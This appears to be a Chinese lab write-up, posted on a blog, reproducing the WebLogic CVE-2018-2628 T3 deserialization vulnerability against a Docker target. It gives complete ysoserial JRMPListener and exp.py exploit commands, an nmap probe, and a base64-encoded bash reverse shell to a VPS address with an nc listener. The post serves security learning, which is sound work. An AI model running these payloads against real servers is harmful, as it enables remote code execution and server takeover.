Weblogic-CVE-2018-2628漏洞复现

前置知识:

一、Java 基础概念

  1.Java 反序列化 :它是将对象状态转换为字节流的过程,反序列化则是将字节流恢复为对象的过程。

  2.RMI(远程方法调用)与 JRMP

    RMI:Java 提供的跨 JVM 远程方法调用技术,基于 JRMP(Java Remote Method Protocol) 实现通信。

    JRMP 作用:在 RMI 中,JRMP 负责传输序列化对象(包括类名、方法名、参数等),可利用该协议传递恶意序列化数据。

  3.WebLogic 核心组件

    T3 协议:WebLogic 用于服务器间通信的私有协议,基于 JRMP 实现,支持序列化对象传输。

    IIOP 协议:WebLogic 支持的 CORBA 协议,同样可用于传输序列化对象

二、漏洞利用链相关知识

  1.ysoserial 工具

    作用:用于生成针对 Java 反序列化漏洞的恶意 payload,内置多种利用链(如 CommonsCollections1、JRMPClient 等)。

     核心原理:通过构造特定的 Java 类调用链,触发目标系统的反序列化漏洞,执行任意命令。

漏洞背景:

  披露时间:2018 年 4 月,Oracle 官方补丁修复。

  影响版本:WebLogic 10.3.6.0、12.1.3.0、12.2.1.2 及以下版本。

  类型:反序列化漏洞(通过 T3/IIOP 协议触发)。

  危害:攻击者可远程执行任意代码,控制服务器(如窃取数据、植入后门等)。

漏洞复现:

weblogic server的IP:42.192.204.116

攻击者vps的IP:74.48.194.203

通过docker启动靶场,然后访问7001端口的console路径会显示如下页面说明靶场正常启动。

通过kali看看是否开启了T3服务。命令: nmap -T4 -sV -O -p 7001 --script weblogic-t3-info 42.192.204.116 

 从扫描结果可以看出目标主机已开启T3服务

漏洞利用1-写文件

  首先在vps上启动ysoserial工具的JPMP Server服务,端口是9999,并且通过CommonsCollections1链创建一个名为ZyonSuccess文件。其中CommonsCollections1 是 ysoserial 中的一种 gadget 链,它的作用是在目标服务器反序列化你发过去的对象时,触发执行任意命令。

  命令: java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/ZyonSuccess' 

vps启动成功后去kali构造payload(exp.py脚本下载地址: https://www.exploit-db.com/exploits/44553 )

命令构成:python exp.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]

命令: python2 exp.py 42.192.204.116 7001 /home/kali/Desktop/ysoserial-all.jar 74.48.194.203 9999 JRMPClient 

 然后进入靶场看看有没有创建成功

命令: docker exec -it <容器id> /bin/bash  或者  docker compose exec weblogic bash 

发现创建成功,证实了存在漏洞。

漏洞利用2-反弹shell

①vps(74.48.194.203)上开始监听: nc -lnvp 8888 ,出现: Listening on 0.0.0.0 8888 说明开启成功。

②启动 JRMPListener(提供恶意对象)

  反弹shell的构造: bash -i >& /dev/tcp/远端vps-ip/8888 0>&1 ,由于Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,所以我们使用base64的反弹shell形式,具体如下: bash -c {echo,上面反弹shell的base64编码}|{base64,-d}|{bash,-i} 

  最终在vps(74.48.194.203)上的命令: java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC83NC40OC4xOTQuMjAzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}' 

出现整个红框说明监听成功。

③发送JRMP exploit(触发漏洞),然后攻击机kali上构造payload。

  攻击者kali上的命令: python2 exp.py 42.192.204.116 7001 /home/kali/Desktop/ysoserial-all.jar 74.48.194.203 9999 JRMPClient 

 然后回到nc监听窗口,发现反弹shell了。如下图:

成功得到shell环境。

 漏洞分析:

根本原因:

  WebLogic 在处理 T3/IIOP 协议请求时,对反序列化输入的校验存在缺陷,允许攻击者通过 JRMP 协议传递恶意序列化对象,绕过黑名单检测,最终触发代码执行。
利用链分析。

攻击链如下图所示:

posted @ 2025-05-29 23:56  ZyonSec  阅读(117)  评论(0)    收藏  举报